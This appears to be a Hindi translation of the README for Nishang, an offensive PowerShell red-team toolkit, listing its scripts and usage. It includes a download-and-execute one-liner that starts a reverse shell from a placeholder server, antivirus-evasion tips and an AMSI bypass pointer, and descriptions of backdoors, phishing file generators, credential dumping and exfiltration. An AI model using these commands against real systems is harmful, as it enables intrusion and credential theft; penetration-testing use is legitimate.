
Nishang - आक्रामक PowerShell रेड टीम, पेनिट्रेशन टेस्टिंग और आक्रामक सुरक्षा के लिए।
द्वारा निखिल मित्तल संस्थापक Altered Security - व्यावहारिक रेड टीम और एंटरप्राइज़ सुरक्षा प्रशिक्षण!
वर्तमान PowerShell सत्र में सभी स्क्रिप्ट्स आयात करें (PowerShell v3 से आगे)।
PS C:\nishang> Import-Module .\nishang.psm1
डॉट सोर्सिंग के साथ अलग-अलग स्क्रिप्ट्स का उपयोग करें।
PS C:\nishang> . C:\nishang\Gather\Get-Information.ps1
PS C:\nishang> Get-Information
किसी भी स्क्रिप्ट या फ़ंक्शन के बारे में सहायता प्राप्त करने के लिए, उपयोग करें:
PS C:\nishang> Get-Help [स्क्रिप्टनाम] -full
ध्यान दें कि संस्करण 0.3.8 से, सहायता स्क्रिप्ट को चलाने के बाद लोड किए गए फ़ंक्शन के लिए उपलब्ध है, न कि स्वयं स्क्रिप्ट के लिए। सभी मामलों में, फ़ंक्शन का नाम स्क्रिप्ट के नाम के समान होता है।
उदाहरण के लिए, Get-WLAN-Keys.ps1 के बारे में सहायता देखने के लिए, उपयोग करें
PS C:\nishang> . C:\nishang\Get-WLAN-Keys.ps1
PS C:\nishang> Get-Help Get-WLAN-Keys -Full
निशांग स्क्रिप्ट्स को कई एंटी वायरस द्वारा दुर्भावनापूर्ण चिह्नित किया जाता है। लक्ष्य पर स्क्रिप्ट्स मेमोरी में उपयोग करने के लिए होती हैं जो PowerShell के साथ बहुत आसान है। PowerShell स्क्रिप्ट्स को मेमोरी में निष्पादित करने के दो बुनियादी तरीके:
विधि 1. इन-मेमोरी डाउनलोड और निष्पादित करें: नीचे दिए गए कमांड का उपयोग करके रिमोट शेल, मीटरप्रेटर नेटिव शेल, वेब शेल आदि से PowerShell स्क्रिप्ट और उसके द्वारा निर्यात किए गए फ़ंक्शन को निष्पादित करें। निशांग की सभी स्क्रिप्ट्स वर्तमान PowerShell सत्र में समान नाम से एक फ़ंक्शन निर्यात करती हैं।
powershell iex (New-Object Net.WebClient).DownloadString('http://<आपकावेबसर्वर>/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [पोर्टनं.]
विधि 2. PowerShell के -encodedcommand (या -e) पैरामीटर का उपयोग करें
निशांग की सभी स्क्रिप्ट्स वर्तमान PowerShell सत्र में समान नाम से एक फ़ंक्शन निर्यात करती हैं। इसलिए, गैर-PowerShell शेल से encodedcommand पैरामीटर का उपयोग करते समय सुनिश्चित करें कि फ़ंक्शन कॉल स्क्रिप्ट में ही की गई है। उपरोक्त उदाहरण के लिए, एक फ़ंक्शन कॉल (बिना उद्धरण के) "Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [पोर्टनं.]" जोड़ें।
निशांग से Invoke-Encode का उपयोग करके स्क्रिप्ट को एन्कोड करें:
PS C:\nishang> . \nishang\Utility\Invoke-Encode
PS C:\nishang> Invoke-Encode -DataToEncode C:\nishang\Shells\Invoke-PowerShellTcp.ps1 -OutCommand
एन्कोडेड डेटा .\encoded.txt में लिखा गया
एन्कोडेड कमांड .\encodedcommand.txt में लिखा गया
उपरोक्त से, encodedcommand.txt से एन्कोडेड स्क्रिप्ट का उपयोग करें और इसे एक लक्ष्य पर चलाएँ जहाँ कमांड निष्पादित किए जा सकते हैं (एक रिमोट शेल, मीटरप्रेटर नेटिव शेल, वेब शेल आदि)। इसका उपयोग इस प्रकार करें:
C:\Users\target> powershell -e [एन्कोडेडस्क्रिप्ट]
यदि स्क्रिप्ट्स अभी भी डिटेक्ट हो रही हैं तो फ़ंक्शन और पैरामीटर नाम बदलने और सहायता सामग्री हटाने से मदद मिलेगी।
यदि Windows 10 का AMSI अभी भी स्क्रिप्ट निष्पादन को अवरुद्ध कर रहा है, तो यह ब्लॉग देखें: http://www.labofapenetrationtester.com/2016/09/amsi.html
निशांग में वर्तमान में निम्नलिखित स्क्रिप्ट्स और पेलोड्स शामिल हैं।
DCShadow के लिए आवश्यक न्यूनतम अनुमति प्रदान करने के लिए AD ऑब्जेक्ट्स को संशोधित करें।
इस वेबशेल का उपयोग करके PowerShell स्क्रिप्ट्स को मेमोरी में निष्पादित करें, कमांड चलाएँ, और फ़ाइलें डाउनलोड और अपलोड करें।
एक बैकडोर जो तीसरे पक्ष की वेबसाइटों से निर्देश प्राप्त कर सकता है और PowerShell स्क्रिप्ट्स को मेमोरी में निष्पादित कर सकता है।
एक बैकडोर जो DNS TXT क्वेरीज़ से कमांड और PowerShell स्क्रिप्ट्स प्राप्त कर सकता है, उन्हें लक्ष्य पर निष्पादित कर सकता है, और क्वेरीज़ का उपयोग करके दूरस्थ रूप से नियंत्रित किया जा सकता है।
एक बैकडोर जो लक्ष्य पर एक निश्चित समय पर PowerShell स्क्रिप्ट्स निष्पादित कर सकता है।
एक बैकडोर जो WLAN SSID से कनेक्ट किए बिना कमांड और स्क्रिप्ट्स प्राप्त कर सकता है।
एक बैकडोर जो दूरस्थ कमांड और स्क्रिप्ट निष्पादन के लिए Windows स्क्रीन सेवर का उपयोग कर सकता है।
एक बैकडोर जो स्थायित्व प्राप्त करने के लिए वैकल्पिक डेटा स्ट्रीम और Windows रजिस्ट्री का उपयोग कर सकता है।
एक बैकडोर जो स्टिकी कीज़ और उटिलमैन (Windows कुंजी + U) के साथ पेलोड निष्पादित करने के लिए प्रसिद्ध डिबगर ट्रिक का उपयोग करता है।
DCOM और WMI नामस्थानों की अनुमतियों को संशोधित करें ताकि गैर-एडमिन उपयोगकर्ता को पहुँच प्रदान हो सके।
PowerShell रिमोटिंग की अनुमतियों को संशोधित करें ताकि गैर-एडमिन उपयोगकर्ता को पहुँच प्रदान हो सके।
AMSI को बाईपास/टालने के सार्वजनिक रूप से ज्ञात तरीकों का कार्यान्वयन।
संक्रमित CHM फ़ाइलें बनाएँ जो PowerShell कमांड और स्क्रिप्ट्स निष्पादित कर सकती हैं।
Word फ़ाइलें बनाएँ और मौजूदा फ़ाइलों को संक्रमित करें ताकि PowerShell कमांड और स्क्रिप्ट्स चल सकें।
Excel फ़ाइलें बनाएँ और मौजूदा फ़ाइलों को संक्रमित करें ताकि PowerShell कमांड और स्क्रिप्ट्स चल सकें।
एक HTA फ़ाइल बनाएँ जिसे वेब सर्वर पर तैनात किया जा सके और फ़िशिंग अभियानों में उपयोग किया जा सके।
हस्ताक्षरित JAR फ़ाइलें बनाएँ जिनका उपयोग स्क्रिप्ट और कमांड निष्पादन के लिए एप्लेट्स के साथ किया जा सके।
शॉर्टकट फ़ाइलें बनाएँ जो PowerShell कमांड और स्क्रिप्ट्स निष्पादित करने में सक्षम हों।
क्रेडेंशियल्स और SMB हैश फ़िशिंग के लिए IQY फ़ाइलें बनाएँ।
JS फ़ाइलें बनाएँ जो PowerShell कमांड और स्क्रिप्ट्स निष्पादित करने में सक्षम हों।
SCT फ़ाइलें बनाएँ जो PowerShell कमांड और स्क्रिप्ट्स निष्पादित करने में सक्षम हों।
एक SCF फ़ाइल बनाएँ जिसका उपयोग NTLM हैश चैलेंज कैप्चर करने के लिए किया जा सके।
जब SYSTEM विशेषाधिकारों की आवश्यकता हो।
पैच हटाकर कमजोरियाँ पेश करें।
UAC को बाईपास करें।
PowerShell स्क्रिप्ट को मेमोरी में डाउनलोड और निष्पादित करें।
टेक्स्ट फॉर्मेट में एक निष्पादन योग्य डाउनलोड करें, उसे निष्पादन योग्य में बदलें, और निष्पादित करें।
पर्याप्त विशेषाधिकार वाले MSSQL सर्वर पर PowerShell कमांड, नेटिव कमांड, या SQL कमांड चलाएँ।
DNS TXT क्वेरीज़ का उपयोग करके मेमोरी में शेलकोड निष्पादित करें।
rundll32.exe का उपयोग करके PowerShell कमांड और स्क्रिप्ट्स या एक रिवर्स PowerShell सत्र निष्पादित करें।
एक वर्चुअल मशीन के लिए जाँच करें।
वॉल्यूम शैडो कॉपी सेवा का उपयोग करके SAM फ़ाइल कॉपी करें।
उपयोगकर्ता को सादे टेक्स्ट में क्रेडेंशियल्स देने के लिए छलें।
एग्रेस परीक्षण के लिए स्क्रिप्ट्स की एक जोड़ी।
लक्ष्य से रसदार जानकारी प्राप्त करें।
लक्ष्य से LSA सीक्रेट प्राप्त करें।
लक्ष्य से पासवर्ड हैश प्राप्त करें।
लक्ष्य से WLAN कुंजियाँ सादे टेक्स्ट में प्राप्त करें।
लक्ष्य से कीस्ट्रोक्स लॉग करें।
Invoke-MimikatzWdigestDowngrade
Windows 8.1 और सर्वर 2012 पर उपयोगकर्ता पासवर्ड सादे में डंप करें।
लक्ष्य से Windows उपयोगकर्ताओं के पासवर्ड संकेत प्राप्त करें।
वापस कनेक्ट करें और MJPEG का उपयोग करके लक्ष्य स्क्रीन स्ट्रीम करें।
मेमोरी में mimikatz लोड करें। अद्यतन और कुछ अनुकूलन के साथ।
रेगेक्स का उपयोग करके लक्ष्य प्रक्रिया (जैसे ब्राउज़र) की मेमोरी से रसदार जानकारी निकालें।
WLAN SSID का उपयोग करके उपयोगकर्ता क्रेडेंशियल्स जैसी जानकारी बाहर निकालें।
एडमिन जंप-बॉक्स और/या Unix मशीनों तक पहुँचने के लिए उपयोग किए जाने वाले कंप्यूटरों की पहचान करें।
MITM हमलों के लिए एक स्थानीय HTTPS प्रॉक्सी।
कई कंप्यूटरों पर क्रेडेंशियल्स जाँचें और PSSessions बनाएँ।
Run-EXEonRemote एक निष्पादन योग्य कॉपी करें और कई मशीनों पर निष्पादित करें।
Invoke-NetworkRelay कंप्यूटरों के बीच नेटवर्क रिले बनाएँ।
चल रही प्रक्रियाओं के हैश को VirusTotal डेटाबेस के विरुद्ध जाँचें।
FTP, सक्रिय निर्देशिका, MSSQL, और शेयरपॉइंट पर ब्रूट फोर्स करें।
एक उपयोगी पोर्ट स्कैनर।
एक ही स्क्रिप्ट मॉड्यूल में निशांग की सभी कार्यक्षमताएँ।
Invoke-PsGcatAgent द्वारा निष्पादित करने के लिए निर्दिष्ट Gmail खाते में कमांड और स्क्रिप्ट्स भेजें।
Invoke-PsGcat द्वारा भेजे गए कमांड और स्क्रिप्ट्स निष्पादित करें।
एक इंटरैक्टिव PowerShell रिवर्स कनेक्ट या बाइंड शेल।
Invoke-PowerShellTcp का छोटा संस्करण। इसमें एक कंकाल संस्करण भी शामिल है जो दो ट्वीट्स में फिट हो सकता है।
Invoke-PowerShellTcpOneLineBind
Invoke-PowerShellTcpOneLine का बाइंड संस्करण।
UDP पर एक इंटरैक्टिव PowerShell रिवर्स कनेक्ट या बाइंड शेल।
Invoke-PowerShellUdp का छोटा संस्करण।
HTTPS पर रिवर्स इंटरैक्टिव PowerShell।
HTTP पर रिवर्स इंटरैक्टिव PowerShell।
Invoke-PoshRatHttps का उपयोग करने के बाद सिस्टम को साफ करें।
WMI का उपयोग करके इंटरैक्टिव PowerShell।
ICMP पर एक इंटरैक्टिव PowerShell रिवर्स शेल।
rundll32.exe का उपयोग करके HTTP पर एक इंटरैक्टिव PowerShell रिवर्स शेल।
regsvr32.exe का उपयोग करके HTTP पर एक इंटरैक्टिव PowerShell रिवर्स शेल।
किसी भी स्क्रिप्ट में Gmail, Pastebin, एक वेब सर्वर, और DNS को डेटा बहिष्करण क्षमता जोड़ें।
एक स्क्रिप्ट में रीबूट स्थायित्व क्षमता जोड़ें।
Add-Persistence स्क्रिप्ट द्वारा जोड़ी गई स्थायित्व को हटाएँ।
आउटपुट को बहिष्कृत करने के लिए किसी भी स्क्रिप्ट पर पाइप (|) करें।
लक्ष्य पर एक फ़ाइल स्थानांतरित करें।
कीलॉगर द्वारा लॉग की गई कुंजियों को पार्स करें।
एक स्क्रिप्ट या स्ट्रिंग को एन्कोड और संपीड़ित करें।
Invoke-Encode से आई स्क्रिप्ट या स्ट्रिंग को डिकोड और डीकंप्रेस करें।
एक वेब सर्वर चलाएँ जो बेसिक प्रमाणीकरण और SMB हैश लॉग करता है।
एक स्ट्रिंग को ROT13 में एन्कोड करें या ROT13 स्ट्रिंग को डिकोड करें।
DNS TXT रिकॉर्ड उत्पन्न करें जिनका उपयोग अन्य स्क्रिप्ट्स के साथ किया जा सके।
[Base64ToString]
[StringToBase64]
[ExetoText]
[TexttoExe]
निशांग के बारे में अपडेट्स मेरे ब्लॉग http://labofapenetrationtester.com और मेरे Twitter फ़ीड @nikhil_mitt पर पाए जा सकते हैं।
यदि आपको कोई बग मिलता है या फीचर अनुरोध है तो कृपया एक इश्यू दर्ज करें। आप मुझे nikhil [dot] uitrgpv at gmail.com पर ईमेल कर सकते हैं।
फीडबैक, चर्चाओं और फीचर अनुरोधों के लिए, इसमें शामिल हों: http://groups.google.com/group/nishang-users
मैं हमेशा निशांग के लिए योगदानकर्ताओं की तलाश में रहता हूँ। कृपया अनुरोध सबमिट करें या मुझे एक ईमेल भेजें।
शुरुआती लोगों के लिए कुछ सहायक ब्लॉग पोस्ट:
http://www.labofapenetrationtester.com/2014/06/nishang-0-3-4.html
http://labofapenetrationtester.com/2012/08/introducing-nishang-powereshell-for.html
http://labofapenetrationtester.com/2013/08/powerpreter-and-nishang-Part-1.html
http://www.labofapenetrationtester.com/2013/09/powerpreter-and-nishang-Part-2.html
निशांग के बारे में सभी पोस्ट: